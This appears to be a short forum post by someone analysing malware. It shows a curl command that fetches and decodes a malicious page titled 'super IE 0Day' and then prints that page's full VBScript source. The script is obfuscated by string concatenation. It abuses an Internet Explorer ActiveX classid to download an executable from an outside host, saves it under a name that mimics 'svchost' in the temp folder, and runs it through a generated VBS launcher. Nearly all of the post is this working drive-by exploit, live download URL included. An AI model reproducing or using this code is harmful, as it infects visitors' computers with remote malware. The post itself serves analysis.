philipp@desktop:~/analysis$ curl -s http://8568985.com/garegky/egk.htm | perl -pe 'tr/\200-\377/\000-\177/'
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" />
<title>super IE 0Day</title>
</head>
<body>
<Script Language="VBScript">
On Error Resume Next
CnLRU="http://www.8568985.com/garegky/jpmm.exe"
Set A0 = document.createElement("ob"&"je"&"c"&"t")
A0.SetAttribute "cla"&"ssid", "c"&"ls"&"i"&"d:BD9"&"6C55"&"6-65"&"A3-11D0"&"-983A-00C"&"04FC29"&"E36"
sHTTP="M"&"ic"&"ro"&"s"&"of"&"t"&".X"&"M"&"L"&"H"&"TT"&"P"
Set Pop = A0.CreateObject(sHTTP,"")
Pop.Open "G"&"ET", CnLRU, False
Pop.Send
Exe="SV"&"CH"&"0ST.EXE"
Vbs="SV"&"CH"&"OST.VBS"
Set FPI = A0.createobject("Scri"&"p"&"ting.F"&"i"&"le"&"Sy"&"st"&"e"&"mO"&"bje"&"ct","")
Set sTmp = FPI.GetSpecialFolder(2)
Exe=FPI.BuildPath(sTmp,Exe)
Vbs=FPI.BuildPath(sTmp,Vbs)
AA="A"&"d"
AB="o"&"d"&"b"&"."&"s"&"tre"&"am"
fffff="S"&"h"&"e"&"l"&"l"&"."&"A"&"p"&"p"&"l"&"i"&"c"&"a"
AdM=AA&AB
Set ZZ = A0.createobject(AdM,"")
ZZ.type=1
ZZ.Open
ZZ.Write Pop.ResponseBody
ZZ.Savetofile Exe,2
ZZ.Close
ZZ.Type=2
ZZ.Open
ZZ.WriteText "On Error Resume Next"&vbCrLf&"Set S = CreateObject(""Wsc""&""ript.S""&""hell"")"&vbCrLf&"S.Run ("""&Exe&""")"&vbCrLf&"Set S = Nothing"
ZZ.Savetofile Vbs,2
ZZ.Close
Set MircoLonga = A0.createobject(fffff&"tion","")
MircoLonga.ShellExecute Vbs,aaa,aaa,"Open",0
</Script>
</body>
</html>
edit: changed quote- to code-tags to disable links